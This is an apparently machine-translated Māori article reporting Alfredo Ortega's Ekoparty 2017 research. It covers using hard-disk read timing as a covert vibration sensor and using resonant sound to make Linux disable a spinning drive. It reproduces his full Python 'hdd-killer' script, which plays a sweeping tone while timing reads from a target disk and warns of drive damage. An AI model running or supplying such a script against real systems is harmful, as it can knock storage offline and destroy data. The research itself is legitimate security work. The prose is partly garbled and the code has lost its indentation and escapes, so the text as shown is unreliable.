I te hui haumaru rorohiko a Ekoparty 2017 i Buenos Aires, i whakaatu a Alfredo Ortega hacker Argentine i tetahi whanaketanga tino pai - he punaha mo te waea waea huna i nga waahi kaore he hopuorooro. Tangi
Ko te HDD te nuinga ka kohia nga oro iti-tere, nga tapuwae me etahi atu wiri. Kaore ano kia mohiohia te korero a te tangata, ahakoa nga kaiputaiao
Ko te oro te wiri o te hau, o tetahi atu reo. Ka rongohia e te tangata na roto i te pukoro taringa, e tuku wiri ana ki te taringa o roto. He rite tonu te hanga o te hopuoro ki te taringa - i konei hoki, ka tuhia nga wiri e te kiriuhi kikokore, e whakaohooho ana i te hihiko hiko. Ko te puku mārō, ko te tikanga, ka pa ki te wiri moroiti na te rerekee o te hau a tawhio noa. E mohiotia ana tenei mai i nga ahuatanga hangarau o nga HDD: ko te nuinga o nga kaihanga e tohu ana i te taumata o te wiri e whakaaetia ana, a ko te puku pakeke tonu e ngana ana ki te tuu ki roto i te ipu wiri-a-wiri i hangaia mai i te rapa, i etahi atu mea whakamarumaru ranei. Mai i tenei he ngawari ki te whakatau ka taea te tuhi i nga oro ma te whakamahi i te HDD. Ko nga mea e toe ana ko te kimi me pehea.
I whakaarohia e Alfredo Ortega tetahi putanga ahurei o te whakaeke taha-taha, ara he whakaeke wa. Ko tenei whakaeke i runga i te whakaaro he rereke nga mahi i runga i te taputapu i nga wa rereke, i runga i nga raraunga whakauru kua homai. I tenei keehi, ko te "raraunga whakauru" ko nga wiri o te upoko panui me te papa HDD, e hono ana ki nga wiri o te taiao, ara, me te tangi. No reira, ma te ine i te taima tatau me te mahi i te tātari tauanga o nga raraunga, ka taea te ine i nga wiri o te upoko/papa, na konei hoki nga wiri o te reo. Ko te roa o te whakaroa i te panui raraunga, ka kaha ake nga wiri HDD, na reira, ka kaha ake te tangi.
Me pehea te ine i te wiri puku? He tino ngawari: whakahaere noa i te waea punaha read ()
— ka tuhi i te wa e oti ai. Ko nga punaha whakahaere hou ka taea e koe te panui i te waa o nga waea punaha me te tika nanosecond.
Ko te tere o te panui korero mai i tetahi waahanga ka whakawhirinaki ki te waahi o te upoko me te pereti, e hono ana ki nga wiri o te keehi HDD. Heoi ano.
Ka mahia te tātari tatauranga ma te whakamahi i tetahi taputapu Kscope ngawari. I a ratou e kii ana, he maamaa nga mea mohio katoa.
Kscope whaipainga (stat() syscall)
Ko te Kscope he taputapu iti mo te tiro i nga rereketanga iti i roto i nga wa whakahaere waea waea. Puna
I roto i te rokiroki motuhake read ()
.
Te whakaaturanga o te rekoata oro ma te whakamahi i te HDD, te mahi a te taputapu Kscope
Ae ra, kaore e taea te mohio ki te korero penei, engari he pai te HDD hei puoro wiri. Hei tauira, ka taea e koe te rehita mena ka uru tetahi tangata e mau hu maro ana, huu kau ranei ki roto i tetahi ruma me te rorohiko (penei, mena kei te mau huu huu ngawari te kaitukino, he whariki matotoru ranei i runga i te papa, kaore e taea e te HDD te rehita wiri - he pai tenei kia tirohia). Ka taea e te rorohiko te rehita karaehe pakaru, etahi atu maiki ranei me te kaha o te tangi. Arā, ka taea e te puku mārō te mahi hei momo punaha rapunga pokanoa kore.
Kohuru HDD
Ma te ara, ka taea te whakamahi i tetahi tikanga rite ki te whakakore i nga puku pakeke. I konei anake kaore matou e tango i nga oscillations mai i te HDD, engari i runga i te rereke, ka whakaputahia e matou nga oscillations e whangaia ana ki te HDD. Mena ka whakatangihia e koe te oro mai i te kaikorero i te auau e pa ana ki te auau HDD, ka whakakorea e te punaha te taputapu me te hapa I/O (ka whakakorea e te kernel Linux te HDD i muri i te 120 hēkona). Ko te puku mārō ano ka pa ki te kino korekore.
I whakawetohia e te kernel Linux te puku pakeke i muri i te 120 hēkona o te tuku oro i te auau oro ma te kaikorero o te Edifier r19u USB kaikorero. Ka whakakāhia te kaikorero mo te hauwha mana (iti iho i te 100 mW) ka 20 cm te tawhiti mai i te HDD, e whai ana ki te teepu hei whakanui ake i nga wiri. Tāpare mai
He mea whakamiharo ko enei "whakaeke" ki runga i nga HDD i etahi wa ka puta ohorere i roto i te oranga o ia ra. Hei tauira, i te marama o Hepetema 2016, i kaha te pokapū raraunga ING Bank ki te whakamutu i nga mahi mo nga haora 10 i muri i te waahi ahi.
Whakaaturanga o te hamama a te tangata ki nga puku pakeke i roto i te pokapū raraunga. Te ine inenga
Hei whakaputa i te oro haruru, i tuhia e Alfredo Ortega tetahi tuhinga Python e kiia nei
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: will.com